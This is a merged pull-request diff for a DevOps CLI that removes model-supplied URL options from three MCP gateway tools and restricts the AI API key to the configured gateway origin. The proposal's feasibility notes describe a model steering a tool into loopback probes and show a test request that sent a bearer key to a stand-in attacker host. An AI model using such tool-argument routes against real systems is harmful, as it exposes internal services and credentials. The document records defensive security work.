Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions SECURITY.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ All code authored in or evaluated by DevOps CLI must strictly adhere to the foll
8. **Repository Hygiene**: Never write an internal hostname (`*.lan`, `*.local`, a machine name), a private address (RFC 1918), a private registry, a non-standard NodePort, a device or mount path, or the cluster topology into a committed file. Use `<storage-node>`, `<gpu-node>`, `<worker-node>` or `<host>` for a host, RFC 5737 blocks (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`) or loopback for an address, `ghcr.io/<org>/<image>:<tag>` for a registry and `<storage-mount-path>` for a path. Committed templates (`config.example.yaml`) use localhost endpoints. The user's `config.yaml` is not committed: never reset its URLs or ports. `tests/invariants/test_committed_addresses.py` holds this rule for addresses and `.lan` hosts. It parses each tracked file with `ipaddress` and fails on an RFC 1918 host address or a `.lan` host. A range in CIDR form names no machine, and the upstream defaults and examples that the test names (the minikube node, the AKS DNS service, the OpenTelemetry `server.address` example) are not ours, so both pass. Test code, which must hold private addresses to test the egress and reference classifiers, the archived OpenSpec changes and `CHANGELOG.md`, which release-please writes, are outside its scope.
9. **No Phone-Home**: Turn off third-party telemetry, usage reports, crash analytics and update checks in every tool, workload and container when the user loses no function. Examples are `DO_NOT_TRACK=1`, `GOTELEMETRY=off`, `PIP_DISABLE_PIP_VERSION_CHECK=1`, `CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1`, `HF_HUB_DISABLE_TELEMETRY=1` and `OPENSPEC_TELEMETRY=0`. Ask the user before you turn off a feature that shows content, such as update notices or a marketplace.
10. **Bounded Error Detail**: Cap each external value in an exception `details` dictionary or a structured log at 256 characters (CWE-209, CWE-400).
11. **MCP Tool Inputs**: A URL or host that a model gives to an MCP tool is untrusted input, not configuration. A tool publishes no option for it, and queries the service that the configuration names. `_PATH_PARAM_RESTRICTIONS` in `src/devops_cli/ai/mcp/generator.py` sets the options that a tool publishes. A credential goes only to the origin that the configuration names, whatever the egress level is. `_key_for` in `src/devops_cli/ai/gateway.py` applies this rule to the AI API key. A tool that publishes such an option is a defect.

---

Expand Down
4 changes: 2 additions & 2 deletions docs/CLI_REFERENCE.md
Original file line number Diff line number Diff line change
Expand Up @@ -5009,7 +5009,7 @@ devops ai gateway routes [OPTIONS]

| Option / Flag | Type | Default | Description |
|---|---|---|---|
| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. |
| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. Only the configured gateway gets the AI API key. |
| `--provider`, `-p` | `string` | - | Gateway provider: litellm or portkey. |
| `--format`, `-f` | `string` | `table` | Output format: table or json. |

Expand Down Expand Up @@ -5097,7 +5097,7 @@ devops ai gateway tune [OPTIONS]
| `--rounds` | `integer` | `2` | Requests per worker at each concurrency level. |
| `--prompt-tokens` | `integer` | `512` | Prompt size in tokens. |
| `--max-tokens` | `integer` | `200` | Completion tokens requested per call. |
| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. |
| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. Only the configured gateway gets the AI API key. |
| `--namespace`, `-n` | `string` | `llm` | Namespace of the gateway deployment. |
| `--deployment` | `string` | `llm-gateway` | Gateway deployment to run the sweep in. |
| `--context` | `string` | - | Kubernetes context override. |
Expand Down
3 changes: 0 additions & 3 deletions docs/MCP_TOOLS.md
Original file line number Diff line number Diff line change
Expand Up @@ -314,7 +314,6 @@ Directly probe health and latency of an inference backend.
| Parameter | Type | Required | Default | Description |
|---|---|---|---|---|
| `backend` | `string` | Yes | - | Backend to probe (e.g. ollama). |
| `backend_url` | `string` | No | - | Optional backend base URL override. |

### `ai_gateway_routes`

Expand All @@ -326,7 +325,6 @@ List registered virtual models and target backend inference instances.

| Parameter | Type | Required | Default | Description |
|---|---|---|---|---|
| `gateway_url` | `string` | No | - | Optional gateway base URL override. |
| `provider` | `string` | No | - | Gateway provider: litellm or portkey. |

### `ai_gateway_status`
Expand All @@ -339,7 +337,6 @@ Probe LLM Gateway health, latency, and circuit breaker metrics.

| Parameter | Type | Required | Default | Description |
|---|---|---|---|---|
| `gateway_url` | `string` | No | - | Optional gateway base URL override. |
| `provider` | `string` | No | - | Gateway provider: litellm or portkey. |

### `ai_harness_offload`
Expand Down
4 changes: 2 additions & 2 deletions docs/commands/ai.md
Original file line number Diff line number Diff line change
Expand Up @@ -1599,7 +1599,7 @@ devops ai gateway routes [OPTIONS]

| Option / Flag | Type | Default | Description |
|---|---|---|---|
| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. |
| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. Only the configured gateway gets the AI API key. |
| `--provider`, `-p` | `string` | - | Gateway provider: litellm or portkey. |
| `--format`, `-f` | `string` | `table` | Output format: table or json. |

Expand Down Expand Up @@ -1687,7 +1687,7 @@ devops ai gateway tune [OPTIONS]
| `--rounds` | `integer` | `2` | Requests per worker at each concurrency level. |
| `--prompt-tokens` | `integer` | `512` | Prompt size in tokens. |
| `--max-tokens` | `integer` | `200` | Completion tokens requested per call. |
| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. |
| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. Only the configured gateway gets the AI API key. |
| `--namespace`, `-n` | `string` | `llm` | Namespace of the gateway deployment. |
| `--deployment` | `string` | `llm-gateway` | Gateway deployment to run the sweep in. |
| `--context` | `string` | - | Kubernetes context override. |
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
schema: spec-driven
created: 2026-10-29
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# Design

## Decisions

- **The MCP tools publish no URL.** `_PATH_PARAM_RESTRICTIONS` already lets a command publish some of its options. The three gateway commands get an entry each: `provider` for `status` and `routes`, `backend` for `probe-backend`. The tools query the configured gateway and the first of `ai.ollama_urls`. A model has no URL to give, so the egress defect has no input. A call that names `gateway_url` or `backend_url` fails at the argument contract, before any command runs.
- **The commands keep their URL options.** A person types `--gateway-url` and `--backend-url` at the command line. These URLs dial at the configured level. `--source` of `devops ai cost update-pricing` and `--servers` of `devops ai benchmark` do the same (#2422). No model sits between the person and the option, so no input needs a stricter level.
- **The key rule is where the header is attached.** `_query_model_info` calls `_key_for`. It gives the key only when the origin of the URL is the origin of `ai.gateway_url` or `ai.portkey_url`. Every caller of `fetch_model_info` gets the rule: the router, the tuning sweep, the run store and the reasoning check of the OpenAI client. A caller passes its `ai_config`. Without one, the function reads the loaded settings, as `configured_level` does.
- **An origin is the scheme, host and port.** `httpx2.URL.origin` gives them, and it normalizes the case of the host and the default port. The path is not part of the origin. So `--gateway-url http://example.com:4000/another/path` still gets the key.
- **Both gateway URLs count as configured.** Under the Portkey provider, the router queries `ai.portkey_url`. A rule for `ai.gateway_url` alone would take the key from that query.
- **A refusal says that the gateway got no key.** When a gateway of another origin answers HTTP 401 or 403 and a key is set, "no API key is configured" would mislead. `fetch_model_info` raises an `AICredentialsError` that names the host and port of the gateway. It gives no URL, because a URL can hold user information.
- **The tests are in `tests/test_ai_gateway.py`.** The file already tests these commands and tools. The new tests use `scripted_resolver` and `record_connects`, and read the bytes on the wire. The floor sets `DEVOPS_CLI_AI_ALLOW_PRIVATE_NETWORK`, which outranks the config file. So the level tests set that variable and give the URLs through the `config` fixture.
- **`SECURITY.md` gets principle 11.** The lesson is general. A URL from a model is untrusted input, and a credential goes only to the origin that the configuration names.

## Rejected alternatives

- **Keep the MCP options and dial them at the public level.** The `EgressLevel.PUBLIC` docstring names this level for a URL that a model gives. It stops the loopback scan. But the model could still make the tool send a GET request to any public host. `probe-backend` returns up to 256 characters of the error and the model names. No tool needs the option, because each one reports the configured service.
- **Give the URL option of the command line the public level too.** The tools were the only path from a model to the option. A public level for a person would also refuse a gateway that the person runs on loopback. `--source` and `--servers` dial at the configured level for the same person.
- **Put the rule in the router only.** The first version of this change did so. `fetch_model_info` and `tune_pool` still sent the key to any URL, and `devops ai gateway tune --gateway-url` could send the key to another host. The rule belongs where the header is attached.
- **Compare only the host, or test the start of the URL.** A port that starts with the configured port, such as `:40000` for `:4000`, starts with the configured URL. A different port or scheme is a different service. The origin of httpx2 has these cases right, and the test rows hold each of them.
- **An invariant test that no MCP tool publishes a URL option.** Other tools publish one, and each one is an open defect (see Open exceptions). An invariant needs an allow list of them, and an allow list is an escape. Each fix removes its tool from the list of defects.

## Open exceptions

These MCP tools still publish a URL or address option that the model fills in. Each has its own issue with a probe.

- `valkey_*` (`url`): the Valkey password goes to the URL (#2634).
- `k8s_logs` (`loki_url`): a private-level GET to any path, with the answer text returned (#2635).
- `ai_prewarm` (`url`): a POST to any loopback path (#2637).
- `ai_benchmark` (`servers`, `models`): POST requests to any loopback path (#2638).
- `vault_status` (`vault_addr`): a private-level GET to any path (#2639).
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# Proposal

## Why

Issue #2480. The MCP tools `ai_gateway_status`, `ai_gateway_routes` and `ai_gateway_probe_backend` are read-only tools. Each tool published a URL option, `gateway_url` or `backend_url`, that the calling model fills in. The command used that URL as configuration. This caused two defects.

1. A URL from the model dialled at the configured level. Since #2422, this level admits loopback without `ai.allow_private_network`. A call of `ai_gateway_probe_backend` with a loopback `backend_url` sent GET requests to a service of the host. The tool returned the status and the model names.
2. The model query put `Authorization: Bearer <AI API key>` on the request to each URL. A call of `ai_gateway_routes` with a public `gateway_url` sent the key to that host. No egress level stops this, because each level admits a public address.

Both defects have one cause. Input from a caller is used as configuration.

## What Changes

- The three MCP tools publish no URL option. `ai_gateway_status` and `ai_gateway_routes` publish only `provider`. `ai_gateway_probe_backend` publishes only `backend`. The tools query the configured gateway and backend. A call that gives a URL fails and sends no request. The commands keep `--gateway-url` and `--backend-url` for a person.
- `fetch_model_info` sends the AI API key only to a gateway that the configuration names. `ai.gateway_url` and `ai.portkey_url` name a gateway. The check compares scheme, host and port. `devops ai gateway routes` and `devops ai gateway tune` get the rule through this function.
- A gateway of another origin that refuses the request gets an error. The error says that the gateway got no key. It does not ask for a key.
- The help of `--gateway-url` for `routes` and `tune` says that only the configured gateway gets the key.
- `SECURITY.md` gets principle 11, the rule for a URL that a model gives to an MCP tool.
- A consumer sees the tool schemas and the requests, so the change carries a spec delta. It adds three requirements to the capability `ai-gateway-routing`.
- This change fits one pull request.

## Capabilities

### New Capabilities

None.

### Modified Capabilities

- `ai-gateway-routing`: three new requirements. "The MCP gateway tools publish no URL" gives the tool schemas and the refusal of a URL. "The MCP gateway tools dial the configured gateway at the configured level" gives the level of their requests. "The AI API key goes only to the configured gateway" gives the origin rule of the model query.

## Impact

- `src/devops_cli/ai/gateway.py`, `src/devops_cli/ai/client/openai.py`, `src/devops_cli/ai/mcp/generator.py`, `src/devops_cli/commands/ai_gateway.py`.
- `tests/test_ai_gateway.py`.
- `docs/MCP_TOOLS.md`, `docs/CLI_REFERENCE.md` and `docs/commands/ai.md` (generated), and `SECURITY.md`.

## Feasibility

- On `origin/main` at `a3eb41f4`, a test with `scripted_resolver` and `record_connects` from `tests/web_fakes.py` showed both defects.
- `GatewayRouter(...).list_routes("https://attacker.example.org/v1")` dialled `93.184.215.14:443`. It wrote `GET /v1/model/info` with `Authorization: Bearer sk-secret`.
- The tool `ai_gateway_routes` wrote the same request when it got `gateway_url`.
- The tool `ai_gateway_probe_backend` dialled `127.0.0.1:8200` when it got a loopback `backend_url`. `ai.allow_private_network` was false. It wrote `GET /v1/sys/seal-status?x=/health` and returned `healthy: true`.
- `generate_mcp_tools` publishes each Click option of a command. `_PATH_PARAM_RESTRICTIONS` in `src/devops_cli/ai/mcp/generator.py` is the existing way to publish fewer options. `telemetry profile` uses it. `ArgumentContractMiddleware` refuses a parameter that the published schema does not name.
- httpx2 2.13.1: `httpx2.URL(...).origin` holds the scheme, host and port. It treats `http://a.example.com` and `HTTP://A.Example.com:80` as equal. `get_url_origin` wraps it. The benchmark runner uses it for the same key rule (#954).
- `fetch_model_info` has four callers. They are `GatewayRouter.list_routes`, `tune_pool`, `gateway_pool` of the run store, and the reasoning check of the OpenAI client. A person can type the URL of the first two. Only `list_routes` sits behind an MCP tool.
- After the change, a probe of `tune_pool` with another origin and an HTTP 401 answer wrote no key. It raised the refusal that names the gateway.

## Existing Tool Considered

The change uses `httpx2.URL.origin` through `get_url_origin`. It also uses the `_PATH_PARAM_RESTRICTIONS` table of the MCP generator and the argument contract of the MCP server. No open tool attaches a credential by the origin of a request. httpx strips an `Authorization` header only when a redirect leaves the origin, never on the first request. So the change builds two small functions, `_key_for` and `_withheld_key_refusal`.

The cost of the two functions is about 3,000 tokens to build and about 500 tokens for each later change that keeps them. The test class `TestTheKeyGoesOnlyToTheConfiguredGateway` is the part to fix when the rule changes. The build takes about one hour.

The change deletes the `gateway_url` and `backend_url` options of the three MCP tools. It deletes the send of the key to every URL.
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# Spec Delta

## ADDED Requirements

### Requirement: The MCP gateway tools publish no URL
The MCP tools `ai_gateway_status`, `ai_gateway_routes` and `ai_gateway_probe_backend` SHALL publish no gateway URL and no backend URL. `ai_gateway_status` and `ai_gateway_routes` SHALL publish only `provider`. `ai_gateway_probe_backend` SHALL publish only `backend`. A call that gives a URL SHALL fail and send no request.

#### Scenario: The tool schemas
- **WHEN** an MCP client lists the tools
- **THEN** `ai_gateway_status` and `ai_gateway_routes` publish the parameter `provider` and no other, and `ai_gateway_probe_backend` publishes the parameter `backend` and no other

#### Scenario: A call that gives a backend URL
- **WHEN** a client calls `ai_gateway_probe_backend` with `backend_url` set to a loopback URL
- **THEN** the call fails and the socket gets no dial to that host

#### Scenario: A call that gives a gateway URL
- **WHEN** a client calls `ai_gateway_routes` or `ai_gateway_status` with `gateway_url` set to a public URL, and the AI API key is set
- **THEN** the call fails, the socket gets no dial to that host, and the AI API key is not on the wire

### Requirement: The MCP gateway tools dial the configured gateway at the configured level
Each of the three MCP gateway tools SHALL query the configured gateway or backend. It SHALL dial loopback and public addresses. It SHALL dial private addresses only when `ai.allow_private_network` is true.

#### Scenario: The configured service at the configured level
- **WHEN** a tool runs, and the host of `ai.gateway_url` or `ai.ollama_urls` answers `127.0.0.1` or `192.0.2.10`
- **THEN** the tool dials `127.0.0.1` whatever `ai.allow_private_network` says, and dials `192.0.2.10` only when `ai.allow_private_network` is true

#### Scenario: The key goes to the configured gateway
- **WHEN** `ai_gateway_routes` runs with the AI API key set
- **THEN** the request to the host of `ai.gateway_url` carries the key

### Requirement: The AI API key goes only to the configured gateway
The model query of a gateway SHALL send the AI API key only to a configured gateway. A configured gateway has the scheme, host and port of `ai.gateway_url` or `ai.portkey_url`. `devops ai gateway routes` and `devops ai gateway tune` SHALL get this rule. A URL of another origin SHALL get no key, and so SHALL any URL when no gateway is configured. When such a gateway answers HTTP 401 or 403 and a key is set, the error SHALL say that the gateway got no key. It SHALL NOT ask for a key.

#### Scenario: The configured origin
- **WHEN** `--gateway-url` has the origin of `ai.gateway_url`, with the same path, another path or another spelling of the host
- **THEN** the request carries the AI API key

#### Scenario: Another origin
- **WHEN** `--gateway-url` has another host, another port, a port that starts with the configured port, or another scheme, or no gateway is configured
- **THEN** the request carries no AI API key

#### Scenario: Another gateway refuses the request
- **WHEN** a gateway of another origin answers HTTP 401 and the AI API key is set
- **THEN** the error says that this gateway got no key, because the key goes only to the configured gateway
- **AND** the error holds the host and port of that gateway and no URL
Loading
Loading